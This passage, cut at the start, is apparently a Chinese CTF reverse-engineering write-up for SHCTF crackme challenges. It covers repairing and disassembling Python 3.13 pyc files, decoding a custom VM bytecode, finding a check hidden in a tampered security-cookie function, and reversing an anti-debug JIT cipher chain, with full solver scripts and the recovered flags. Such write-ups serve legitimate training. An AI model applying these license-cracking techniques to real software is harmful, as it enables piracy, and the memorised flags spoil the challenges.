│ Marshal Data (N bytes) │ 0x0C-EOF
└─────────────────────────────────────┘

2.2 Python 3.7-3.12 格式

1
2
3
4
5
6
7
8
9
10
11
┌─────────────────────────────────────┐
│ Magic Number (4 bytes) │ 0x00-0x03
├─────────────────────────────────────┤
│ Flags (4 bytes) │ 0x04-0x07
│ - bit 0: hash-based │
│ - bit 1: check source │
├─────────────────────────────────────┤
│ Timestamp/Hash (8 bytes) │ 0x08-0x0F (可选)
├─────────────────────────────────────┤
│ Marshal Data (N bytes) │ 0x10-EOF
└─────────────────────────────────────┘

2.3 Python 3.13 格式(本题)

1
2
3
4
5
6
7
8
9
10
11
┌─────────────────────────────────────┐
│ Magic Number (4 bytes) │ 0x00-0x03
│ 0xf3 0x0d 0x0d 0x0a │ (3.13.0rc3)
├─────────────────────────────────────┤
│ Flags (4 bytes) │ 0x04-0x07
│ 0x00 0x00 0x00 0x00 │
├─────────────────────────────────────┤
│ Marshal Data (N bytes) │ 0x08-EOF
│ - TYPE_CODE (0xe3) │ 第一个字节
│ - Code Object Data │
└─────────────────────────────────────┘

2.4 Magic Number对照表

Python版本 Magic Number (hex) Magic Number (int)
3.6 33 0d 0d 0a 3379
3.7 42 0d 0d 0a 3394
3.8 55 0d 0d 0a 3413
3.9 61 0d 0d 0a 3425
3.10 6f 0d 0d 0a 3439
3.11 a7 0d 0d 0a 3495
3.12 cb 0d 0d 0a 3531
3.13 f3 0d 0d 0a 3571

2.5 Marshal类型码

Marshal是Python的序列化格式,常见类型码:

类型码 (hex) 类型 说明
0x00 TYPE_NULL 空值
0x4e TYPE_NONE None
0x46 TYPE_FALSE False
0x54 TYPE_TRUE True
0x69 TYPE_INT 整数
0x66 TYPE_FLOAT 浮点数
0x73 TYPE_STRING 字节串
0x75 TYPE_UNICODE Unicode字符串
0x63 TYPE_CODE Code对象 (3.6-3.12)
0xe3 TYPE_CODE Code对象 (3.13+)
0x28 TYPE_TUPLE 元组
0x5b TYPE_LIST 列表

我们可以用一个诊断问题的脚本来测试哪里出现了问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
def diagnose_pyc(filename):
"""
诊断pyc文件的问题
"""
print(f"Diagnosing: {filename}")
print("="*60)

with open(filename, 'rb') as f:
# 1. 检查magic number
magic = f.read(4)
magic_int = int.from_bytes(magic, 'little')
print(f"1. Magic number: {magic.hex()} ({magic_int})")

# 2. 检查flags
flags = f.read(4)
print(f"2. Flags: {flags.hex()}")

# 3. 读取marshal数据
data = f.read()
print(f"3. Marshal data size: {len(data)} bytes")
print(f"4. First 32 bytes: {data[:32].hex()}")

# 4. 检查第一个字节
first_byte = data[0]
print(f"5. First byte: 0x{first_byte:02x}")

if first_byte == 0x00:
print(" ⚠ First byte is 0x00 - checking for padding...")

# 查找TYPE_CODE
for i in range(min(20, len(data))):
if data[i] in [0xe3, 0x63]:
print(f" ✓ Found TYPE_CODE at offset {i}")
print(f" → Solution: Skip first {i} bytes")
return ('padding', i)

elif first_byte in [0xe3, 0x63]:
print(" ✓ First byte is TYPE_CODE - looks good")

# 尝试加载
try:
import io
code = marshal.load(io.BytesIO(data))
print(f" ✓ Successfully loaded: {code.co_name}")
return ('ok', None)
except Exception as e:
print(f" ✗ Load failed: {e}")
return ('corrupted', str(e))

else:
print(f" ⚠ Unexpected first byte")
print(f" → Possible XOR encryption with key: 0x{first_byte ^ 0xe3:02x}")
return ('encrypted', first_byte ^ 0xe3)

return ('unknown', None)

# 使用
problem_type, info = diagnose_pyc('main.pyc')

if problem_type == 'padding':
print(f"\n→ Fix: Remove first {info} bytes")
elif problem_type == 'encrypted':
print(f"\n→ Fix: Try XOR decryption with key 0x{info:02x}")
elif problem_type == 'ok':
print("\n→ No fix needed")

那么修一下pyc文件就行,修完的pyc文件在转为py文件直接读逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
### 6.1 诊断checklist

- [ ] 检查magic number是否正确
- [ ] 检查flags字段
- [ ] 查看marshal数据的第一个字节
- [ ] 查找TYPE_CODE标记的位置
- [ ] 计算数据熵值(检测加密)
- [ ] 尝试加载marshal数据

### 6.2 常见修复方法

| 问题 | 修复方法 |
|------|---------|
| 填充字节 | 跳过填充,从TYPE_CODE开始 |
| XOR加密 | 暴力破解XOR密钥 |
| 版本不匹配 | 使用正确的Python版本 |
| 数据损坏 | 尝试部分恢复或使用备份 |

这里用dis来转为py文件

py字节码反汇编官方文档:https://docs.python.org/zh-cn/3/library/dis.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# main.py 重建代码
import sys_core

def main():
print('License Verifier v1.0')
print('=====================')
_check_decoy()

if _load_library('hook.dll'):
print('[System] Hook library loaded.')

try:
license_key = input('Enter License Key: ').strip()
except EOFError:
return None

if sys_core.verify_license(license_key):
print('\n[Success] License Validated. Access Granted.')
else:
print('\n[Error] Invalid License Key.')
sys.exit(1)

反汇编pyc字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import struct

def fix_pyc_file(input_file, output_file):
"""修复 pyc 文件,跳过前8个字节的填充"""
with open(input_file, 'rb') as f:
magic = f.read(4)
flags = f.read(4)
marshal_data = f.read()

print(f"Processing: {input_file}")
print(f" Magic: {magic.hex()}")
print(f" Flags: {flags.hex()}")
print(f" Marshal data size: {len(marshal_data)} bytes")
print(f" First 20 bytes: {marshal_data[:20].hex()}")

# 跳过前8个0x00字节
if marshal_data[:8] == b'\x00' * 8:
print(f" Found 8-byte padding, skipping...")
fixed_marshal = marshal_data[8:]
else:
print(f" No padding found")
fixed_marshal = marshal_data

print(f" Fixed marshal first byte: 0x{fixed_marshal[0]:02x}")

# 写入修复后的文件
with open(output_file, 'wb') as f:
f.write(magic)
f.write(flags)
f.write(fixed_marshal)

print(f" ✓ Saved to: {output_file}\n")
return output_file

# 修复两个文件
fixed_main = fix_pyc_file(
'LicenseVerifier.exe_extracted/main.pyc',
'main_fixed.pyc'
)

fixed_sys_core = fix_pyc_file(
'LicenseVerifier.exe_extracted/PYZ.pyz_extracted/sys_core.pyc',
'sys_core_fixed.pyc'
)

print("="*70)
print("Now trying to disassemble the fixed files...")
print("="*70)

import dis
import marshal

def disassemble_fixed_pyc(filename):
"""反汇编修复后的 pyc 文件"""
print(f"\n{'#'*70}")
print(f"# Disassembling: {filename}")
print(f"{'#'*70}\n")

try:
with open(filename, 'rb') as f:
magic = f.read(4)
flags = f.read(4)
code = marshal.load(f)

print(f"Successfully loaded code object: {code.co_name}")
print(f"Filename: {code.co_filename}")
print(f"Arguments: {code.co_argcount}")
print()

# 反汇编
dis.dis(code)

# 保存到文件
output_file = filename.replace('.pyc', '_disassembly.txt')
with open(output_file, 'w', encoding='utf-8') as f:
import contextlib
import sys
with contextlib.redirect_stdout(f):
print(f"Code object: {code.co_name}")
print(f"Filename: {code.co_filename}")
print(f"Constants: {code.co_consts}")
print(f"Names: {code.co_names}")
print(f"Varnames: {code.co_varnames}")
print("\nDisassembly:")
print("="*70)
dis.dis(code)

# 递归处理嵌套的 code objects
for const in code.co_consts:
if hasattr(const, 'co_code'):
print(f"\n\n{'='*70}")
print(f"Nested code object: {const.co_name}")
print('='*70)
print(f"Constants: {const.co_consts}")
print(f"Names: {const.co_names}")
print(f"Varnames: {const.co_varnames}")
print()
dis.dis(const)

print(f"✓ Disassembly saved to: {output_file}\n")
return True

except Exception as e:
print(f"✗ Error: {e}\n")
import traceback
traceback.print_exc()
return False

# 反汇编修复后的文件
success1 = disassemble_fixed_pyc(fixed_main)
success2 = disassemble_fixed_pyc(fixed_sys_core)

if success1 and success2:
print("\n" + "="*70)
print("SUCCESS! Check these files:")
print("="*70)
print(" - main_fixed_disassembly.txt")
print(" - sys_core_fixed_disassembly.txt")
else:
print("\n" + "="*70)
print("Some files failed to disassemble")
print("="*70)

从反汇编的代码中可以发现一个key。

同时发现一个可以的文件sys.config,这个不是py打包的时候生成的文件

刚才的反汇编中也发现调用了这个文件,通过分析_load_config 函数的字节码。可以得到解密这个文件的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
文件读取:
with open('sys.config', 'rb') as f:
data = f.read()
长度读取:
code_len = struct.unpack('<H', data[:2])[0]
密钥派生(找到 _derive_key 函数):
key = hashlib.sha256((API_SECRET + str(length)).encode()).digest()
第一层解密:
layer1 = bytearray(
(x ^ ((i * 165) ^ 92)) & 0xFF
for i, x in enumerate(encrypted_payload)
)
第二层解密:
decrypted_body = bytearray(
layer1[i] ^ key[i % len(key)]
for i in range(len(layer1))
)

解密后得到一个bin文件,里面是虚拟机字节码。再次反汇编这个字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

# 操作码定义
OP_PUSH = 0x01
OP_XOR = 0x02
OP_ADD = 0x03
OP_SUB = 0x04
OP_LOAD = 0x05
OP_CHECK = 0x06
OP_OUT = 0x07
OP_HALT = 0x08

with open('real_bytecode.bin', 'rb') as f:
bytecode = f.read()

print(f"Bytecode size: {len(bytecode)} bytes\n")
print("Disassembly:")
print("="*70)

ip = 0
line_num = 0

while ip < len(bytecode):
op = bytecode[ip]

if op == OP_PUSH:
# PUSH: 1 byte opcode + 2 bytes value (little endian)
if ip + 2 < len(bytecode):
value = bytecode[ip+1] | (bytecode[ip+2] << 8)
print(f"{ip:04x}: PUSH 0x{value:04x} ({value})")
ip += 3
else:
print(f"{ip:04x}: PUSH (incomplete)")
break

elif op == OP_XOR:
print(f"{ip:04x}: XOR")
ip += 1

elif op == OP_ADD:
print(f"{ip:04x}: ADD")
ip += 1

elif op == OP_SUB:
print(f"{ip:04x}: SUB")
ip += 1

elif op == OP_LOAD:
# LOAD: 1 byte opcode + 2 bytes index (little endian)
if ip + 2 < len(bytecode):
index = bytecode[ip+1] | (bytecode[ip+2] << 8)
print(f"{ip:04x}: LOAD input[{index}]")
ip += 3
else:
print(f"{ip:04x}: LOAD (incomplete)")
break

elif op == OP_CHECK:
# CHECK: 1 byte opcode + 2 bytes target (little endian)
if ip + 2 < len(bytecode):
target = bytecode[ip+1] | (bytecode[ip+2] << 8)
print(f"{ip:04x}: CHECK == 0x{target:04x} ({target}) ['{chr(target) if 32 <= target < 127 else '?'}']")
ip += 3
else:
print(f"{ip:04x}: CHECK (incomplete)")
break

elif op == OP_OUT:
print(f"{ip:04x}: OUT")
ip += 1

elif op == OP_HALT:
print(f"{ip:04x}: HALT")
ip += 1
break

else:
print(f"{ip:04x}: UNKNOWN (0x{op:02x})")
ip += 1

line_num += 1

# 限制输出
if line_num > 500:
print(f"\n... (truncated, {len(bytecode) - ip} bytes remaining)")
break

print(f"\nTotal instructions: {line_num}")
print(f"Bytes processed: {ip}/{len(bytecode)}")

在简单分析一下逻辑就是对密文异或了0x55,异或回来就行,吧字节码中所有的check点都提出来,然后一个一个字节异或回去就是flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# 提取所有的检查点
checks = [
(0, 0x0006),
(1, 0x001c),
(2, 0x0010),
(3, 0x0002),
(4, 0x001f),
(5, 0x00d5),
(6, 0x0009),
(7, 0x0021),
(8, 0x0032),
(9, 0x006f),
(10, 0x0028),
(11, 0x003f),
(12, 0x0007),
(13, 0x00d7),
(14, 0x0009),
(15, 0x003b),
(16, 0x0063),
(17, 0x0025),
(18, 0x0037),
(19, 0x00d9),
(20, 0x003d),
(21, 0x0028),
(22, 0x0013),
(23, 0x00d0),
(24, 0x0022),
(25, 0x001f),
(26, 0x00d8),
(27, 0x002f),
(28, 0x0039),
(29, 0x00d9),
(30, 0x0020),
(31, 0x0007),
(32, 0x00c7),
(33, 0x0032),
(34, 0x00c2),
(35, 0x003a),
(36, 0x00d6),
(37, 0x0032),
(38, 0x00ce),
(39, 0x00ce),
(40, 0x00d2),
(41, 0x002e),
(42, 0x0008),
(43, 0x00d9),
(44, 0x002d),
(45, 0x00d9),
(46, 0x00d0),
(47, 0x000a),
(48, 0x00f7),
(49, 0x0037),
(50, 0x00c3),
(51, 0x00c7),
(52, 0x0030),
(53, 0x00fd),
(54, 0x00c0),
(55, 0x00d1),
(56, 0x003d),
(57, 0x00fe),
(58, 0x0038),
(59, 0x00cf),
(60, 0x002a),
(61, 0x0038),
(62, 0x00fe),
(63, 0x00fa),
(64, 0x0024),
(65, 0x00ff),
(66, 0x00f0),
(67, 0x0022),
(68, 0x00ed),
(69, 0x002d),
(70, 0x00ff),
(71, 0x0091),
]


license_key = []

for i, expected in checks:
# input[i] == (expected ^ 0x55) - i

char_value = ((expected ^ 0x55) - i) & 0xFF
char = chr(char_value)

license_key.append(char)
print(f"input[{i:2d}] = 0x{char_value:02x} = '{char}' (expected check: 0x{expected:04x})")

result = ''.join(license_key)

print("\n" + "="*70)
print("SOLUTION:")
print("="*70)
print(f"License Key: {result}")
print(f"Length: {len(result)} characters")

print("\n" + "="*70)
print("Verification:")
print("="*70)

all_correct = True
for i, expected in checks:
char_value = ord(result[i])
calculated = ((char_value + i) ^ 0x55) & 0xFFFF
if calculated != expected:
print(f"✗ Position {i}: Expected 0x{expected:04x}, got 0x{calculated:04x}")
all_correct = False

if all_correct:
print("✓ All checks passed!")
print(f"\n🎉 FLAG: {result}")
else:
print("✗ Some checks failed")


SHCTF{Vm_1s_FuN_&_PyTh0n_1s_PoW3rFuL_But_R3aL_W0r1d_1s_M0r3_C0mp1ic4t3d}

有一个假flag

1
2
3


#SHCTF{11lran_I1keS_C0MpIL3R_7ECHnOl0Gy_aNd_PrO6r@m_M3ChAN1sms_8Ut_HATes_COd3_Pr#T3Ctl#n_4nd_CR@cKinG}

整数面

主函数看着逻辑挺简单,但是里面藏了东西要仔细看

动态调试看到真正可以拿到真正的key,但是最终解出来是一个fake_flag

1
p_your_secret_key_here db 'BV1GJ411x7h7key-here',0

动调跟一下就可以看到一个超长的输出

在check逻辑里可以看到比较的buf2密文,我们可以跟进去看看

密文下面我们可以看到一个sbox。一般来说sbox肯定是不是无缘无故存在的,我们跟一下哪里调用了他

发现了两个函数,最下面的security_check最可疑, 一般来说应该只是比较 StackCookie 与全局变量是否一致。 跟进去一眼被改过,真正的校验逻辑在这里

分析一下是基于变体 Base64 类似字符映射的解密逻辑 ,且这里存着替换表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
void __cdecl _security_check_cookie(uintptr_t StackCookie)
{
int v1; // eax
unsigned __int64 v2; // rax
unsigned __int64 v3; // rdx
_QWORD v4[27]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int8 *v5; // [rsp+F8h] [rbp+78h]
bool v6; // [rsp+107h] [rbp+87h]
unsigned __int8 *v7; // [rsp+108h] [rbp+88h]
_BYTE *v8; // [rsp+110h] [rbp+90h]
unsigned __int8 *v9; // [rsp+118h] [rbp+98h]
int i; // [rsp+124h] [rbp+A4h]
int n49; // [rsp+128h] [rbp+A8h]
int v12; // [rsp+12Ch] [rbp+ACh]

v9 = &sbox[0xFFFFFFFEBFFFBEE0uLL];
v8 = (_BYTE *)(qword_7FF6764C3120 - 160);
v7 = &sbox[-192];
memset(v4, 0, 208);
v12 = 0;
for ( n49 = 0; n49 <= 49; ++n49 )
{
LOBYTE(v12) = (v8[3 * n49] >> 2) + v12;
v12 &= 0x3Fu;
*((_BYTE *)v4 + 4 * n49) = v7[v12];
LOBYTE(v12) = ((16 * v8[3 * n49]) & 0x30 | (v8[3 * n49 + 1] >> 4)) + v12;
v12 &= 0x3Fu;
*((_BYTE *)v4 + 4 * n49 + 1) = v7[v12];
LOBYTE(v12) = ((4 * v8[3 * n49 + 1]) & 0x3C | (v8[3 * n49 + 2] >> 6)) + v12;
v12 &= 0x3Fu;
*((_BYTE *)v4 + 4 * n49 + 2) = v7[v12];
LOBYTE(v12) = (v8[3 * n49 + 2] & 0x3F) + v12;
v12 &= 0x3Fu;
*((_BYTE *)v4 + 4 * n49 + 3) = v7[v12];
}
v1 = sub_7FF6764B1A70((unsigned __int8 *)v4, qword_7FF6764BF018, 200);
v6 = v1 == 0;
if ( v1 )
v2 = 0xFFFFFFFEBFFFBD60uLL;
else
v2 = 0xFFFFFFFEBFFFBEA0uLL;
v5 = &v9[-v2];
for ( i = 0; ; ++i )
{
v3 = v6 ? 80LL : 90LL;
if ( i >= v3 )
break;
putchar(*(int *)&v5[4 * i] >> 1);
}
*v8 = 0;
}

同时在另一个调用函数里发现了S-Box(替换盒)生成与置换函数。 换完甚至还吧这块内存重置为了0,且这个函数在**.CRT 初始化链,比main函数执行的还要早**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void *sub_7FF6764B161F()
{
void *result; // rax
_BYTE v1[264]; // [rsp+20h] [rbp-60h] BYREF
int v2; // [rsp+128h] [rbp+A8h]
int v3; // [rsp+12Ch] [rbp+ACh]
__int64 v4; // [rsp+130h] [rbp+B0h]
unsigned __int8 *v5; // [rsp+138h] [rbp+B8h]
int n11; // [rsp+140h] [rbp+C0h]
int n0x33; // [rsp+144h] [rbp+C4h]
int n15; // [rsp+148h] [rbp+C8h]
int n15_1; // [rsp+14Ch] [rbp+CCh]
int n2; // [rsp+150h] [rbp+D0h]
int n45; // [rsp+154h] [rbp+D4h]
int n17; // [rsp+158h] [rbp+D8h]
int n255; // [rsp+15Ch] [rbp+DCh]

v5 = &sbox[-223];
for ( n255 = 0; n255 <= 255; ++n255 )
v1[n255] = n255;
n17 = 17;
n45 = 45;
for ( n2 = 0; n2 <= 2; ++n2 )
{
n17 *= n17;
n45 *= n45;
for ( n15_1 = 0; n15_1 <= 15; ++n15_1 )
{
for ( n15 = 0; n15 <= 15; ++n15 )
{
v3 = ((_BYTE)n15_1 + (_BYTE)n45 * (_BYTE)n15) & 0xF;
v2 = ((_BYTE)n17 * (_BYTE)n15_1 + ((_BYTE)n45 * (_BYTE)n17 + 1) * (_BYTE)n15) & 0xF;
sub_7FF6764B3470(&v1[v2 + 16 * v3], &v1[16 * n15_1 + n15]);
}
}
}
for ( n0x33 = 0; (unsigned __int64)n0x33 <= 0x33; ++n0x33 )
sbox[n0x33] = v1[sbox[n0x33]]; // 换表操作
v4 = (__int64)(--v5 + 32);
result = memset(sbox, 0, 0x28u); // 置为0
for ( n11 = 0; n11 <= 11; ++n11 )
{
result = (void *)*(unsigned __int8 *)(v4 + sbox[n11 + 40]);
v5[n11] = (unsigned __int8)result;
}
return result;
}

动调一下确实是这样check的逻辑在这个函数

那么有了main函数里RC4解密的逻辑和密钥,还有刚才的sbox生成和真正的check逻辑,可以写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import annotations

ALPHABET = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
IDX_MAP = {ALPHABET[i]: i for i in range(64)}

# Hardcoded runtime key after ctor patching.
RUNTIME_KEY = "BV1GJ411x7h7key-here"

# Hardcoded S-box generated in sub_*161F.
# Kept here for traceability even though this script doesn't need to rebuild key anymore.
SBOX = (
b"\x00Z\n\x8b\x04\x8d.\x9f\x08q\x02\xbeL5\xa6\x87\x10\x90\t\xba\x94Yu\x07/U\x89\x1b\x9c\x1dA~Ns\xaa\x11\xe2\xad&#()*\xaf,|\x0eP\xf0\xd6\x9b\xed{\x81\x83\xfbm\xf5\xb23\xbf\x12\x177@\x16B\xcb\x8c9\"\xf2\xc4\x1eJz\x0c\x9e \xfa\x99Q\xf9\x03T\xd5\xfd\xcf]\xd9\x85S\x14\x191_\xca\xb0b\xdcd\x7f\xee\x95h\xe5$\xeb\xec;n\xd4a\x01C\xa9%\xcd\xdbp\xe1RO\xf3\xa5}>i\x88\xb5\x826\x84y\x86\xd3\x80=\x8a\xfeD\xbd\x8e[\xa7\x91\xf1Gg\xd1E\x8f'\xab\x05:\x1ck\xc5\xf6F?\xa2\x98j\xb4\x06+\xa8!\xa0X\xact\xae\xdd0\xb1\xc7\xff4\x1a\xb6-eI2\xbb\xbc\x92\x0f<\xcc\xdef\x93H\xc1\xc6\xd7\xc8\x96`\x13\xc0M\xce\xdf\xd0\xef\rv\xe7\xa3\xc9W\x18\x15\xda\x0b\\\xd8Vr\xc2\xb3\xa4\xe3\xe4\xf7\xe6c\xe8x\xea\x9dlw\xe0o\xf8\xd2K\xa1\xf4^\x978\xe9\x9a\xc3\xb7\xfc\xb9\x1f\xb8"
)

# Hardcoded target output (= bitwise NOT of bytes at .rdata:0x14000F018, length 0xC8).
TARGET_OUT = (
b"+9QVK187rHs84UYGvTt6O8kL9FZPAD6AitE5Zhnfm+FVemjDg01rca/PYrsgCgyxJS/pTjj192ou2ICIp54x5h/FrqwLIe96ysGvVpQ5gsvAFY8EkY7OetgUiZ1XbXQAXkIoqNGfryMd9Y80bYAM3ArKi+MMsg384v6UdDdcZ/OefPj/+Lo6J5MIvldnOIv5pln+L5ff"
)


def rc4_crypt(data: bytes, key: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
i = 0
j = 0
out = bytearray()
for b in data:
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) & 0xFF]
out.append(b ^ k)
return bytes(out)


def decode_custom_accum(out: bytes) -> bytes:
if len(out) % 4 != 0:
raise ValueError("target_out length must be multiple of 4")
acc = 0
sextets = []
for c in out:
idx = IDX_MAP[c]
sext = (idx - acc) & 0x3F
sextets.append(sext)
acc = idx
data = bytearray()
for g in range(0, len(sextets), 4):
s0, s1, s2, s3 = sextets[g : g + 4]
b0 = ((s0 << 2) | (s1 >> 4)) & 0xFF
b1 = (((s1 & 0x0F) << 4) | (s2 >> 2)) & 0xFF
b2 = (((s2 & 0x03) << 6) | s3) & 0xFF
data += bytes([b0, b1, b2])
return bytes(data)


def invert_per_byte_transform(y: bytes, key_str: str) -> bytes:
key = key_str.encode("ascii")
key_len = len(key)
c = bytearray(len(y))
for i, by in enumerate(y):
k = key[i % key_len] | 1
if (by & 1) == 0:
c[i] = (by >> 1) & 0xFF
else:
c[i] = 0x80 | (((by ^ k) >> 1) & 0x7F)
return bytes(c)


def main():
if len(SBOX) != 256:
raise RuntimeError("Unexpected SBOX size")
if len(TARGET_OUT) != 0xC8:
raise RuntimeError("Unexpected TARGET_OUT size")

y = decode_custom_accum(TARGET_OUT)
c = invert_per_byte_transform(y, RUNTIME_KEY)
p = rc4_crypt(c, RUNTIME_KEY[1:].encode("ascii")).decode("ascii")

print(p)


if __name__ == "__main__":
main()


# SHCTF{11lran_I1keS_C0MpIL3R_7ECHnOl0Gy_aNd_PrO6r@m_M3ChAN1sms_

给了提示The second half of flag can be found at where the secret key is modified. Good luck!

根据提示找到sbox变换的时候,变换的sbox就是密文的后半部分(很会藏了)

拼接一下flag

SHCTF{11lran_I1keS_C0MpIL3R_7ECHnOl0Gy_aNd_PrO6r@m_M3ChAN1sms_8Ut_HATes_COd3_Pr#T3Ctl#n_4nd_CR@cKinG}

strange_chain

main函数往下翻,input后,这里做了一个check, 一般check往上附近对buf处理的就是跟加密函数挂钩的,分析一下发现了加密函数。密文提出来备用就行

至于怎么加密,首先根据题目名** strange_chain **描述能猜个大概,一般就是动调和静态走的加密逻辑链不一样。

分析一下就是初始化的时候有两条链,加密的时候有两条链

encrypto_init 会构造两套 JIT 函数链,非调试环境下实际落到这一条:

  • sub_1400027C0 ×16
  • sub_140002800 ×1
  • sub_140002830 ×25
  • (sub_140002860, sub_140002890, sub_140002900) ×78

同样有两套函数链,非调试环境下使用 encrypto 对应链:

  • 初始化:6E0 -> 700
  • 12 轮:610 -> 5D0 -> 5B0 -> 6A0 -> 660 -> 640 -> 780 -> 6D0
  • 输出:720

也就是这里,知道了正确的加密逻辑链,直接写脚本解密就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python3

def rol32(x: int, r: int) -> int:
r &= 31
return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF

def ror32(x: int, r: int) -> int:
r &= 31
return ((x >> r) | (x << (32 - r))) & 0xFFFFFFFF

def xorshift32(x: int) -> int:
x &= 0xFFFFFFFF
x ^= (x << 13) & 0xFFFFFFFF
x ^= x >> 17
x ^= (x << 5) & 0xFFFFFFFF
return x & 0xFFFFFFFF

def build_c38(seed: bytes) -> list[int]:
b = list(seed)
v = ((b[0] ^ 0x7F4A7C10) + 0xE9502037) & 0xFFFFFFFF
for i in range(1, 16):
v = (((v ^ b[i]) + 0x9E37) + ((v << 5) & 0xFFFFFFFF)) & 0xFFFFFFFF

c38 = []
y = xorshift32(v)
c38.append((y ^ 0x9E3779B9) & 0xFFFFFFFF)
for r in range(31, 18, -1):
y = xorshift32(y)
c38.append(ror32((y ^ 0x9E3779B9) & 0xFFFFFFFF, r))
return c38


def build_ba0(seed: bytes, c38: list[int]) -> list[int]:
# encrypto() 在无调试环境下实际执行链:
# 7C0*16 -> 800 -> 830*25 -> (860,890,900)*78
ba0 = [0] * 26
s = [0] * 4

idx_byte = 0
idx26 = 0
idx4 = 0
s0 = 0
s1 = 0

for _ in range(16):
t = idx_byte
idx_byte += 1
s[t >> 2] = ((s[t >> 2] << 8) | seed[t]) & 0xFFFFFFFF

ba0[0] = 0x740EB8B8
for i in range(1, 26):
ba0[i] = (ba0[i - 1] - 0x4432330F) & 0xFFFFFFFF

for _ in range(78):
# sub_140002860
s0 = ror32((s0 + s1 + ba0[idx26]) & 0xFFFFFFFF, 29)
ba0[idx26] = s0

# sub_140002890
rot = ((s1 & 0xFF) ^ (c38[idx26 % 14] & 0xFF) ^ (s0 & 0xFF)) & 0x1F
s1 = rol32((s0 + s1 + s[idx4]) & 0xFFFFFFFF, rot)
s[idx4] = s1

# sub_140002900
idx26 = (idx26 + 1) % 26
idx4 = (idx4 + 1) % 4

return ba0


def mix(x: int) -> int:
return (x + (rol32(x, 5) ^ rol32(x, 13))) & 0xFFFFFFFF


def decrypt_block(block8: bytes, ba0: list[int], c38: list[int]) -> bytes:
a = int.from_bytes(block8[:4], "little")
b = int.from_bytes(block8[4:], "little")

for i in range(12, 0, -1):
if i % 3 == 0:
a, b = b, a

b = (b - ba0[2 * i + 1]) & 0xFFFFFFFF
b = ror32(b, (c38[i] ^ a) & 0x1F)
b ^= mix(a)

a = (a - ba0[2 * i]) & 0xFFFFFFFF
a = ror32(a, (c38[i] ^ b) & 0x1F)
a ^= mix(b)

b = (b - (c38[0] ^ ba0[1])) & 0xFFFFFFFF
a = (a - (c38[0] ^ ba0[0])) & 0xFFFFFFFF
return a.to_bytes(4, "little") + b.to_bytes(4, "little")


def main() -> None:
seed = bytes.fromhex("020002050101040501040a0b0c0d0e0f")
target = bytes.fromhex(
"2bc01d87e584649c56d9bb184e7af141d5bf93167b5e56f3"
"c595bae5bdc88acc5a90b6b4bc3d1e29"
)

c38 = build_c38(seed)
ba0 = build_ba0(seed, c38)

plain = b"".join(decrypt_block(target[i : i + 8], ba0, c38) for i in range(0, 40, 8))
pad = plain[-1]
flag = plain[:-pad].decode("ascii")

print("plain(hex) =", plain.hex())
print("flag =", flag)


if __name__ == "__main__":
main()



#SHCTF{Have1ng_a_go0d_t1me_O_o_Hu!}

trace

这题挺抽象的,搜一些常见的判断字符串定位逻辑

check在最底下,周围找找逻辑,

1
2
3
4
5
6
7
8
key生成
k0 = (seed1 & 0xFFFF) * 0x1337
k1 = seed2 + 0xAAAA
k2 = k0 ^ k1
k3 = (k2 * 2) + 1
